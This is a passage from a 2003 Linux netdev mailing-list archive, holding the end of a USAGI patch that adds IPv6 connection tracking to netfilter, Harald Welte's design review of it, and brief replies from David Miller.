0) + return skb; + + clone = skb_clone(skb, GFP_ATOMIC); + if (clone == NULL) { + DEBUGP("Can't clone skb\n"); + return skb; + } + + IP6CT_FRAG6_CB(clone)->orig = skb; + + if (!pskb_may_pull(clone, fhoff + sizeof(*fhdr))) { + DEBUGP("message is too short.\n"); + goto ret_orig; + } + + clone->h.raw = clone->data + fhoff; + hdr = clone->nh.ipv6h; + fhdr = (struct frag_hdr *)clone->h.raw; + + if (!(fhdr->frag_off & htons(0xFFF9))) { + DEBUGP("Invalid fragment offset\n"); + /* It is not a fragmented frame */ + goto ret_orig; + } + + if (atomic_read(&ip6_ct_frag_mem) > sysctl_ip6_ct_frag_high_thresh) + ip6_ct_frag_evictor(); + + if ((fq = fq_find(fhdr->identification, &hdr->saddr, &hdr->daddr)) == NULL) { + DEBUGP("Can't find and can't create new queue\n"); + goto ret_orig; + } + + spin_lock(&fq->lock); + + if (ip6_ct_frag_queue(fq, clone, fhdr, nhoff) < 0) { + spin_unlock(&fq->lock); + DEBUGP("Can't insert skb to queue\n"); + fq_put(fq); + goto ret_orig; + } + + if (fq->last_in == (FIRST_IN|LAST_IN) && + fq->meat == fq->len) { + ret_skb = ip6_ct_frag_reasm(fq, dev); + + if (ret_skb == NULL) + DEBUGP("Can't reassemble fragmented packets\n"); + } + spin_unlock(&fq->lock); + + fq_put(fq); + return ret_skb; + +ret_orig: + kfree_skb(clone); + return skb; +} + +int ip6_ct_output_frags(struct sk_buff *skb, struct nf_info *info) +{ + struct sk_buff *s, *s2; + struct nf_info *copy_info; + + for (s = IP6CT_FRAG6_CB(skb)->orig; s; s = s2) { + if (skb->nfct) + nf_conntrack_get(skb->nfct); + s->nfct = skb->nfct; + s->nfcache = skb->nfcache; + + /* + * nf_reinject() frees copy_info, + * so I have to copy it every time. (T-T + */ + copy_info = kmalloc(sizeof(*copy_info), GFP_ATOMIC); + if (copy_info == NULL) { + DEBUGP("Can't kmalloc() for nf_info\n"); + return -1; + } + + copy_info->pf = info->pf; + copy_info->hook = info->hook; + copy_info->indev = info->indev; + copy_info->outdev = info->outdev; + copy_info->okfn = info->okfn; + copy_info->elem = info->elem; + + /* + * nf_reinject() put the module "ip6_conntrack". + */ + if (!try_module_get(info->elem->owner)) { + DEBUGP("Can't get module.\n"); + kfree_skb(s); + continue; + } + + if (copy_info->indev) + dev_hold(copy_info->indev); + if (copy_info->outdev) + dev_hold(copy_info->outdev); + + s2 = s->next; + nf_reinject(s, copy_info, NF_ACCEPT); + } + + kfree_skb(skb); + + return 0; +} + +int ip6_ct_kfree_frags(struct sk_buff *skb) +{ + struct sk_buff *s, *s2; + + for (s = IP6CT_FRAG6_CB(skb)->orig; s; s = s2) { + + s2 = s->next; + kfree_skb(s); + } + + kfree_skb(skb); + + return 0; +} + +#ifdef CONFIG_SYSCTL + +#define IP6CT_HIGH_THRESH_NAME "ip6ct_frags_high_thresh" +#define IP6CT_LOW_THRESH_NAME "ip6ct_frags_low_thresh" +#define IP6CT_TIMEOUT_NAME "ip6ct_frags_timeout" + +static struct ctl_table_header *ip6_ct_frags_sysctl_header; + +static ctl_table ip6_ct_frags_table[] = { + { + .ctl_name = IP6CT_FRAGS_HIGH_THRESH, + .procname = IP6CT_HIGH_THRESH_NAME, + .data = &sysctl_ip6_ct_frag_high_thresh, + .maxlen = sizeof(sysctl_ip6_ct_frag_high_thresh), + .mode = 0644, + .proc_handler = proc_dointvec + }, + { + .ctl_name = IP6CT_FRAGS_LOW_THRESH, + .procname = IP6CT_LOW_THRESH_NAME, + .data = &sysctl_ip6_ct_frag_low_thresh, + .maxlen = sizeof(sysctl_ip6_ct_frag_high_thresh), + .mode = 0644, + .proc_handler = proc_dointvec + }, + { + .ctl_name = IP6CT_FRAGS_TIMEOUT, + .procname = IP6CT_TIMEOUT_NAME, + .data = &sysctl_ip6_ct_frag_time, + .maxlen = sizeof(sysctl_ip6_ct_frag_time), + .mode = 0644, + .proc_handler = proc_dointvec + }, + { .ctl_name = 0 } +}; + +static ctl_table ip6_ct_frags_dir_table[] = { + { + .ctl_name = NET_IPV6, + .procname = "ipv6", NULL, + .mode = 0555, + .child = ip6_ct_frags_table + }, + { .ctl_name = 0 } +}; + +static ctl_table ip6_ct_frags_root_table[] = { + { + .ctl_name = CTL_NET, + .procname = "net", + .mode = 0555, + .child = ip6_ct_frags_dir_table + }, + { .ctl_name = 0 } +}; + +#endif /*CONFIG_SYSCTL*/ + +int __init ip6_ct_frags_init(void) +{ +#ifdef CONFIG_SYSCTL + ip6_ct_frags_sysctl_header = register_sysctl_table(ip6_ct_frags_root_table, 0); + + if (ip6_ct_frags_sysctl_header == NULL) { + printk("ip6_ct_frags_init: Can't register sysctl tables.\n"); + return -ENOMEM; + } +#endif + + ip6_ct_frag_hash_rnd = (u32) ((num_physpages ^ (num_physpages>>7)) ^ + (jiffies ^ (jiffies >> 6))); + + init_timer(&ip6_ct_frag_secret_timer); + ip6_ct_frag_secret_timer.function = ip6_ct_frag_secret_rebuild; + ip6_ct_frag_secret_timer.expires = jiffies + sysctl_ip6_ct_frag_secret_interval; + add_timer(&ip6_ct_frag_secret_timer); + + return 0; +} + +void ip6_ct_frags_cleanup(void) +{ + del_timer(&ip6_ct_frag_secret_timer); +#ifdef CONFIG_SYSCTL + unregister_sysctl_table(ip6_ct_frags_sysctl_header); +#endif + sysctl_ip6_ct_frag_low_thresh = 0; + ip6_ct_frag_evictor(); +} diff -Nur linux-2.6.0-test5/net/ipv6/netfilter/ip6_conntrack_standalone.c linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6_conntrack_standalone.c --- linux-2.6.0-test5/net/ipv6/netfilter/ip6_conntrack_standalone.c 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6_conntrack_standalone.c 2003-09-24 11:30:53.000000000 +0900 @@ -0,0 +1,502 @@ +/* + * IPv6 Connection Tracking + * Linux INET6 implementation + * + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: net/ipv4/netfilter/ip_conntrack_standalone.c + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ + +/* This file contains all the functions required for the standalone + ip6_conntrack module. + + These are not required by the compatibility layer. +*/ + +/* (c) 1999 Paul `Rusty' Russell. Licenced under the GNU General + Public Licence. */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define ASSERT_READ_LOCK(x) MUST_BE_READ_LOCKED(&ip6_conntrack_lock) +#define ASSERT_WRITE_LOCK(x) MUST_BE_WRITE_LOCKED(&ip6_conntrack_lock) + +#include +#include +#include +#include +#include +#include + +#if 0 +#define DEBUGP printk +#else +#define DEBUGP(format, args...) +#endif + +MODULE_LICENSE("GPL"); + +static int kill_proto(const struct ip6_conntrack *i, void *data) +{ + return (i->tuplehash[IP6_CT_DIR_ORIGINAL].tuple.dst.protonum == + *((u_int8_t *) data)); +} + +static unsigned int +print_tuple(char *buffer, const struct ip6_conntrack_tuple *tuple, + struct ip6_conntrack_protocol *proto) +{ + int len; + + len = sprintf(buffer, "src=%x:%x:%x:%x:%x:%x:%x:%x dst=%x:%x:%x:%x:%x:%x:%x:%x ", + NIP6(tuple->src.ip), NIP6(tuple->dst.ip)); + + len += proto->print_tuple(buffer + len, tuple); + + return len; +} + +/* FIXME: Don't print source proto part. --RR */ +static unsigned int +print_expect(char *buffer, const struct ip6_conntrack_expect *expect) +{ + unsigned int len; + + if (expect->expectant->helper->timeout) + len = sprintf(buffer, "EXPECTING: %lu ", + timer_pending(&expect->timeout) + ? (expect->timeout.expires - jiffies)/HZ : 0); + else + len = sprintf(buffer, "EXPECTING: - "); + len += sprintf(buffer + len, "use=%u proto=%u ", + atomic_read(&expect->use), expect->tuple.dst.protonum); + len += print_tuple(buffer + len, &expect->tuple, + __ip6_ct_find_proto(expect->tuple.dst.protonum)); + len += sprintf(buffer + len, "\n"); + return len; +} + +static unsigned int +print_conntrack(char *buffer, struct ip6_conntrack *conntrack) +{ + unsigned int len; + struct ip6_conntrack_protocol *proto + = __ip6_ct_find_proto(conntrack->tuplehash[IP6_CT_DIR_ORIGINAL] + .tuple.dst.protonum); + + len = sprintf(buffer, "%-8s %u %lu ", + proto->name, + conntrack->tuplehash[IP6_CT_DIR_ORIGINAL] + .tuple.dst.protonum, + timer_pending(&conntrack->timeout) + ? (conntrack->timeout.expires - jiffies)/HZ : 0); + + len += proto->print_conntrack(buffer + len, conntrack); + len += print_tuple(buffer + len, + &conntrack->tuplehash[IP6_CT_DIR_ORIGINAL].tuple, + proto); + if (!(test_bit(IP6S_SEEN_REPLY_BIT, &conntrack->status))) + len += sprintf(buffer + len, "[UNREPLIED] "); + len += print_tuple(buffer + len, + &conntrack->tuplehash[IP6_CT_DIR_REPLY].tuple, + proto); + if (test_bit(IP6S_ASSURED_BIT, &conntrack->status)) + len += sprintf(buffer + len, "[ASSURED] "); + len += sprintf(buffer + len, "use=%u ", + atomic_read(&conntrack->ct_general.use)); + len += sprintf(buffer + len, "\n"); + + return len; +} + +/* Returns true when finished. */ +static inline int +conntrack_iterate(const struct ip6_conntrack_tuple_hash *hash, + char *buffer, off_t offset, off_t *upto, + unsigned int *len, unsigned int maxlen) +{ + unsigned int newlen; + IP6_NF_ASSERT(hash->ctrack); + + MUST_BE_READ_LOCKED(&ip6_conntrack_lock); + + /* Only count originals */ + if (DIRECTION(hash)) + return 0; + + if ((*upto)++ < offset) + return 0; + + newlen = print_conntrack(buffer + *len, hash->ctrack); + if (*len + newlen > maxlen) + return 1; + else *len += newlen; + + return 0; +} + +static int +list_conntracks(char *buffer, char **start, off_t offset, int length) +{ + unsigned int i; + unsigned int len = 0; + off_t upto = 0; + struct list_head *e; + + READ_LOCK(&ip6_conntrack_lock); + /* Traverse hash; print originals then reply. */ + for (i = 0; i < ip6_conntrack_htable_size; i++) { + if (LIST_FIND(&ip6_conntrack_hash[i], conntrack_iterate, + struct ip6_conntrack_tuple_hash *, + buffer, offset, &upto, &len, length)) + goto finished; + } + + /* Now iterate through expecteds. */ + for (e = ip6_conntrack_expect_list.next; + e != &ip6_conntrack_expect_list; e = e->next) { + unsigned int last_len; + struct ip6_conntrack_expect *expect + = (struct ip6_conntrack_expect *)e; + if (upto++ < offset) continue; + + last_len = len; + len += print_expect(buffer + len, expect); + if (len > length) { + len = last_len; + goto finished; + } + } + + finished: + READ_UNLOCK(&ip6_conntrack_lock); + + /* `start' hack - see fs/proc/generic.c line ~165 */ + *start = (char *)((unsigned int)upto - offset); + return len; +} + +static unsigned int ip6_confirm(unsigned int hooknum, + struct sk_buff **pskb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)); +static unsigned int ip6_conntrack_out(unsigned int hooknum, + struct sk_buff **pskb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)); +static unsigned int ip6_conntrack_reasm(unsigned int hooknum, + struct sk_buff **pskb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)); +static unsigned int ip6_conntrack_local(unsigned int hooknum, + struct sk_buff **pskb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)); + +/* Connection tracking may drop packets, but never alters them, so + make it the first hook. */ +static struct nf_hook_ops ip6_conntrack_in_ops = { + /* Don't forget to change .hook to "ip6_conntrack_input". - zak */ + .hook = ip6_conntrack_reasm, + .owner = THIS_MODULE, + .pf = PF_INET6, + .hooknum = NF_IP6_PRE_ROUTING, + .priority = NF_IP6_PRI_CONNTRACK, +}; + +static struct nf_hook_ops ip6_conntrack_local_out_ops = { + .hook = ip6_conntrack_local, + .owner = THIS_MODULE, + .pf = PF_INET6, + .hooknum = NF_IP6_LOCAL_OUT, + .priority = NF_IP6_PRI_CONNTRACK, +}; + +/* Refragmenter; last chance. */ +static struct nf_hook_ops ip6_conntrack_out_ops = { + .hook = ip6_conntrack_out, + .owner = THIS_MODULE, + .pf = PF_INET6, + .hooknum = NF_IP6_POST_ROUTING, + .priority = NF_IP6_PRI_LAST, +}; + +static struct nf_hook_ops ip6_conntrack_local_in_ops = { + .hook = ip6_confirm, + .owner = THIS_MODULE, + .pf = PF_INET6, + .hooknum = NF_IP6_LOCAL_IN, + .priority = NF_IP6_PRI_LAST-1, +}; + +static unsigned int ip6_confirm(unsigned int hooknum, + struct sk_buff **pskb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)) +{ + int ret; + + ret = ip6_conntrack_confirm(*pskb); + + return ret; +} + +static unsigned int ip6_conntrack_out(unsigned int hooknum, + struct sk_buff **pskb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)) +{ + + if (ip6_conntrack_confirm(*pskb) != NF_ACCEPT) + return NF_DROP; + + return NF_ACCEPT; +} + +static unsigned int ip6_conntrack_reasm(unsigned int hooknum, + struct sk_buff **pskb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)) +{ + struct sk_buff *skb = *pskb; + struct sk_buff **rsmd_pskb = &skb; + int fragd = 0; + int ret; + + skb->nfcache |= NFC_UNKNOWN; + + /* + * Previously seen (loopback)? Ignore. Do this before + * fragment check. + */ + if (skb->nfct) { + DEBUGP("previously seen\n"); + return NF_ACCEPT; + } + + skb = ip6_ct_gather_frags(skb); + + /* queued */ + if (skb == NULL) + return NF_STOLEN; + + if (skb != (*pskb)) + fragd = 1; + + ret = ip6_conntrack_in(hooknum, rsmd_pskb, in, out, okfn); + + if (!fragd) + return ret; + + if (ret == NF_DROP) { + ip6_ct_kfree_frags(skb); + }else{ + struct nf_info info; + + info.pf = PF_INET6; + info.hook = hooknum; + info.indev = in; + info.outdev = out; + info.okfn = okfn; + switch (hooknum) { + case NF_IP6_PRE_ROUTING: + info.elem = &ip6_conntrack_in_ops; + break; + case NF_IP6_LOCAL_OUT: + info.elem = &ip6_conntrack_local_out_ops; + break; + } + + if (ip6_ct_output_frags(skb, &info) <0) + DEBUGP("Can't output fragments\n"); + + } + + return NF_STOLEN; +} + +static unsigned int ip6_conntrack_local(unsigned int hooknum, + struct sk_buff **pskb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)) +{ + unsigned int ret; + + /* root is playing with raw sockets. */ + if ((*pskb)->len < sizeof(struct ipv6hdr)) { + if (net_ratelimit()) + printk("ip6t_hook: IPv6 header is too short.\n"); + return NF_ACCEPT; + } + + ret = ip6_conntrack_reasm(hooknum, pskb, in, out, okfn); + + return ret; +} + +static int init_or_cleanup(int init) +{ + struct proc_dir_entry *proc; + int ret = 0; + + if (!init) goto cleanup; + + ret = ip6_ct_frags_init(); + if (ret < 0) + goto cleanup_reasm; + + ret = ip6_conntrack_init(); + if (ret < 0) + goto cleanup_nothing; + + proc = proc_net_create("ip6_conntrack",0,list_conntracks); + if (!proc) goto cleanup_init; + proc->owner = THIS_MODULE; + + ret = nf_register_hook(&ip6_conntrack_in_ops); + if (ret < 0) { + printk("ip6_conntrack: can't register pre-routing hook.\n"); + goto cleanup_proc; + } + ret = nf_register_hook(&ip6_conntrack_local_out_ops); + if (ret < 0) { + printk("ip6_conntrack: can't register local out hook.\n"); + goto cleanup_inops; + } + ret = nf_register_hook(&ip6_conntrack_out_ops); + if (ret < 0) { + printk("ip6_conntrack: can't register post-routing hook.\n"); + goto cleanup_inandlocalops; + } + ret = nf_register_hook(&ip6_conntrack_local_in_ops); + if (ret < 0) { + printk("ip6_conntrack: can't register local in hook.\n"); + goto cleanup_inoutandlocalops; + } + + return ret; + + cleanup: + nf_unregister_hook(&ip6_conntrack_local_in_ops); + cleanup_inoutandlocalops: + nf_unregister_hook(&ip6_conntrack_out_ops); + cleanup_inandlocalops: + nf_unregister_hook(&ip6_conntrack_local_out_ops); + cleanup_inops: + nf_unregister_hook(&ip6_conntrack_in_ops); + cleanup_proc: + proc_net_remove("ip6_conntrack"); + cleanup_init: + ip6_conntrack_cleanup(); + cleanup_reasm: + ip6_ct_frags_cleanup(); + cleanup_nothing: + return ret; +} + +/* FIXME: Allow NULL functions and sub in pointers to generic for + them. --RR */ +int ip6_conntrack_protocol_register(struct ip6_conntrack_protocol *proto) +{ + int ret = 0; + struct list_head *i; + + WRITE_LOCK(&ip6_conntrack_lock); + for (i = ip6_protocol_list.next; i != &ip6_protocol_list; i = i->next) { + if (((struct ip6_conntrack_protocol *)i)->proto + == proto->proto) { + ret = -EBUSY; + goto out; + } + } + + list_prepend(&ip6_protocol_list, proto); + + out: + WRITE_UNLOCK(&ip6_conntrack_lock); + return ret; +} + +void ip6_conntrack_protocol_unregister(struct ip6_conntrack_protocol *proto) +{ + WRITE_LOCK(&ip6_conntrack_lock); + + /* ip_ct_find_proto() returns proto_generic in case there is no protocol + * helper. So this should be enough - HW */ + LIST_DELETE(&ip6_protocol_list, proto); + WRITE_UNLOCK(&ip6_conntrack_lock); + + /* Somebody could be still looking at the proto in bh. */ + synchronize_net(); + + /* Remove all contrack entries for this protocol */ + ip6_ct_selective_cleanup(kill_proto, &proto->proto); +} + +static int __init init(void) +{ + return init_or_cleanup(1); +} + +static void __exit fini(void) +{ + init_or_cleanup(0); +} + +module_init(init); +module_exit(fini); + +/* Some modules need us, but don't depend directly on any symbol. + They should call this. */ +void need_ip6_conntrack(void) +{ +} + +EXPORT_SYMBOL(ip6_conntrack_protocol_register); +EXPORT_SYMBOL(ip6_conntrack_protocol_unregister); +EXPORT_SYMBOL(ip6_invert_tuplepr); +EXPORT_SYMBOL(ip6_conntrack_alter_reply); +EXPORT_SYMBOL(ip6_conntrack_destroyed); +EXPORT_SYMBOL(ip6_conntrack_get); +EXPORT_SYMBOL(need_ip6_conntrack); +EXPORT_SYMBOL(ip6_conntrack_helper_register); +EXPORT_SYMBOL(ip6_conntrack_helper_unregister); +EXPORT_SYMBOL(ip6_ct_selective_cleanup); +EXPORT_SYMBOL(ip6_ct_refresh); +EXPORT_SYMBOL(ip6_ct_find_proto); +EXPORT_SYMBOL(__ip6_ct_find_proto); +EXPORT_SYMBOL(ip6_ct_find_helper); +EXPORT_SYMBOL(ip6_conntrack_expect_related); +EXPORT_SYMBOL(ip6_conntrack_unexpect_related); +EXPORT_SYMBOL_GPL(ip6_conntrack_expect_find_get); +EXPORT_SYMBOL_GPL(ip6_conntrack_expect_put); +EXPORT_SYMBOL(ip6_conntrack_tuple_taken); +EXPORT_SYMBOL(ip6_conntrack_htable_size); +EXPORT_SYMBOL(ip6_conntrack_expect_list); +EXPORT_SYMBOL(ip6_conntrack_lock); +EXPORT_SYMBOL_GPL(ip6_conntrack_find_get); +EXPORT_SYMBOL_GPL(ip6_conntrack_put); diff -Nur linux-2.6.0-test5/net/ipv6/netfilter/ip6t_state.c linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6t_state.c --- linux-2.6.0-test5/net/ipv6/netfilter/ip6t_state.c 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6t_state.c 2003-09-24 11:30:59.000000000 +0900 @@ -0,0 +1,80 @@ +/* + * Matching connection tracking information + * Linux INET6 implementation + * + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: net/ipv4/netfilter/ip6t_state.c + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ +/* Kernel module to match connection tracking information. + * GPL (C) 1999 Rusty Russell (rusty@rustcorp.com.au). + */ +#include +#include +#include +#include +#include + +static int +match(const struct sk_buff *skb, + const struct net_device *in, + const struct net_device *out, + const void *matchinfo, + int offset, + const void *hdr, + uint16_t datalen, + int *hotdrop) +{ + const struct ip6t_state_info *sinfo = matchinfo; + enum ip6_conntrack_info ctinfo; + unsigned int statebit; + + if (!ip6_conntrack_get((struct sk_buff *)skb, &ctinfo)) + statebit = IP6T_STATE_INVALID; + else + statebit = IP6T_STATE_BIT(ctinfo); + + return (sinfo->statemask & statebit); +} + +static int check(const char *tablename, + const struct ip6t_ip6 *ip, + void *matchinfo, + unsigned int matchsize, + unsigned int hook_mask) +{ + if (matchsize != IP6T_ALIGN(sizeof(struct ip6t_state_info))) + return 0; + + return 1; +} + +static struct ip6t_match state_match = { + .name = "state", + .match = &match, + .checkentry = &check, + .me = THIS_MODULE, +}; + +static int __init init(void) +{ + need_ip6_conntrack(); + return ip6t_register_match(&state_match); +} + +static void __exit fini(void) +{ + ip6t_unregister_match(&state_match); +} + +module_init(init); +module_exit(fini); +MODULE_LICENSE("GPL"); diff -Nur linux-2.6.0-test5/net/netsyms.c linux-2.6.0-test5-ct6/net/netsyms.c --- linux-2.6.0-test5/net/netsyms.c 2003-09-09 04:50:02.000000000 +0900 +++ linux-2.6.0-test5-ct6/net/netsyms.c 2003-09-24 11:34:11.000000000 +0900 @@ -606,6 +606,9 @@ EXPORT_SYMBOL(nf_setsockopt); EXPORT_SYMBOL(nf_getsockopt); EXPORT_SYMBOL(ip_ct_attach); +#if defined(CONFIG_IPV6) +EXPORT_SYMBOL(ip6_ct_attach); +#endif #ifdef CONFIG_INET #include EXPORT_SYMBOL(ip_route_me_harder); ----Next_Part(Thu_Sep_25_14:21:10_2003_343)---- From laforge@netfilter.org Thu Sep 25 02:39:14 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 02:39:22 -0700 (PDT) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8P9dDFx031256 for ; Thu, 25 Sep 2003 02:39:14 -0700 Received: from [192.168.200.2] (helo=sunbeam.gnumonks.org) by coruscant.gnumonks.org with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.22) id 1A2Sac-0003it-Ah; Thu, 25 Sep 2003 11:39:10 +0200 Received: from laforge by sunbeam.gnumonks.org with local (Exim 4.20) id 1A2SPu-0002TV-H6; Thu, 25 Sep 2003 11:28:06 +0200 Date: Thu, 25 Sep 2003 11:28:06 +0200 From: Harald Welte To: Yasuyuki Kozakai Cc: coreteam@netfilter.org, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [Patch]: IPv6 Connection Tracking Message-ID: <20030925092806.GC5758@sunbeam.de.gnumonks.org> Mail-Followup-To: Harald Welte , Yasuyuki Kozakai , coreteam@netfilter.org, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com, usagi-core@linux-ipv6.org References: <200309250521.OAA29293@toshiba.co.jp> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="nmemrqcdn5VTmUEE" Content-Disposition: inline In-Reply-To: <200309250521.OAA29293@toshiba.co.jp> X-Operating-system: Linux sunbeam 2.6.0-test1-nftest X-Date: Today is Boomtime, the 48th day of Bureaucracy in the YOLD 3169 User-Agent: Mutt/1.5.4i X-Spam-Score: -7.0 (-------) X-archive-position: 213 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@netfilter.org Precedence: bulk X-list: netdev Content-Length: 3973 Lines: 103 --nmemrqcdn5VTmUEE Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Sep 25, 2003 at 02:21:10PM +0900, Yasuyuki Kozakai wrote: > I failed to send this message, so I resend. I perfectly received the message you sent yesterday.=20 > Hello, > I'm writing to you for the first time. > I'm a member of USAGI Project. Yes, Yoshifuji Hideaki already informed me at OLS that there is some effort on IPv6 connection tracking within the USAGI project. > I completed that, so I send the patch. Thank you very much. First of all, it is great that somebody is working on this subject, and that there is now working code. However, we are now facing the problem on how we want to proceed. Your ipv6 connection tracking is what I would like to call a 'copy+paste' port. (please don't misunderstand me, this does _not_ mean your work is not appreciated!) We've already had the same kind of copy+paste port from iptables to ip6tables (and now arptables). Maintaining the same codebase for different l3 protocols introduces the usual problems of code duplication: - large parts of the object code doing the same job - bug fixes get applied only to one tree, not to the other - will lead to further code replication (ipt_mac / ip6t_mac, userspace tools, ...) So we've had some very painful experience with this kind of 'port' throughout the last two years. This is the main reason why I am now working on a replacement for all those copy+paste ports in order to have one unified codebase again (pkttables). Thus, for conntrack we are now facing the same problem :( On the one hand it is tempting to include your ip6_conntrack into the 2.6.x kernel series 'as is'. On the other hand, this would really increase the maintainance work needed. On the other hand, I'd much rather see some work done on a layer 3 independent connection tracking core. By this I mean splitting the current ip_contnrack into nf_conntrack and nf_conntrack_ipv4 - a generic part and a ipv4 specific part. Then it is very easy to add the ipv6 specific part to it - and we have a even more powerful and clean infrastructure [that would even allow us to have one end of the connection reside in ipv4 address space, the other one in ipv6 and do some stateful ipv4-to-ivp6 nat at a minimal cost]. Yasuyuki, what is your take on this? Do you (or your company) regard the work as 'finished' now, or are you interested on helping us to implement a l3 independent connection tracking (and write the ipv6 part of it)? To summarize, I see the following options: 1) submit ip6_conntrack to the 2.6.x kernel We would then need somebody committe to maintaining it, assuring it keeps in sync with the work done on ip_conntrack. I do not want to put the burden of ip_conntrack / ip6_conntrack synchronization on everybody who submits patches/bugfixes/... 2) keep ip6_conntrack in patch-o-matic and start work on a l3 independent conntrack system. This would give more users to the code, since most advanced=20 netfilter users are using patch-o-matic anyway. > Regards > Yasuyuki KOZAKAI --=20 - Harald Welte http://www.netfilter.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D "Fragmentation is like classful addressing -- an interesting early architectural error that shows how much experimentation was going on while IP was being designed." -- Paul Vixie --nmemrqcdn5VTmUEE Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE/crUmXaXGVTD0i/8RAvweAJ0UwcwHbCXaxsYz2EQBAwu0aTmOmgCfQ32/ zujA7MLGQO6puFFfHRc4kWI= =fSR6 -----END PGP SIGNATURE----- --nmemrqcdn5VTmUEE-- From davem@pizda.ninka.net Thu Sep 25 03:14:25 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 03:14:31 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PAEOFx005581 for ; Thu, 25 Sep 2003 03:14:25 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id DAA09141; Thu, 25 Sep 2003 03:01:09 -0700 Date: Thu, 25 Sep 2003 03:01:09 -0700 From: "David S. Miller" To: Joe Perches Cc: torvalds@osdl.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] 2.6.0-bk6 net/core/dev.c Message-Id: <20030925030109.09bbedca.davem@redhat.com> In-Reply-To: <1064423867.15283.11.camel@localhost.localdomain> References: <1064423867.15283.11.camel@localhost.localdomain> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 214 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 616 Lines: 17 On Wed, 24 Sep 2003 10:17:47 -0700 Joe Perches wrote: > On Wed, 2003-09-24 at 10:13, Linus Torvalds wrote: > > Looks sane, but wouldn't it be cleaner to put this ugly special case logic > > with casts etc in an inline function and make the code a bit more readable > > at the same time? > > I've got those. > > I've done the ((void*)1) conversions to PKT_SHARED_SKBs > and found this missing. I'll submit those separately. Send me what you have and I'll review and apply it. I haven't accomplished anything today because I've been sick, but tomorrow I should be back to full speed once more. From davem@pizda.ninka.net Thu Sep 25 04:03:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 04:03:20 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PB3BFx008219 for ; Thu, 25 Sep 2003 04:03:11 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id DAA11595; Thu, 25 Sep 2003 03:49:56 -0700 Date: Thu, 25 Sep 2003 03:49:56 -0700 From: "David S. Miller" To: Linus Torvalds Cc: joe@perches.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] 2.6.0-test5-bk11 PKT_CAN_SHARE_SKB [1/3] include/linux/netdevice.h Message-Id: <20030925034956.01ebcb77.davem@redhat.com> In-Reply-To: References: <1064442780.15437.25.camel@localhost.localdomain> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 215 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 131 Lines: 6 On Wed, 24 Sep 2003 15:36:45 -0700 (PDT) Linus Torvalds wrote: > David, will 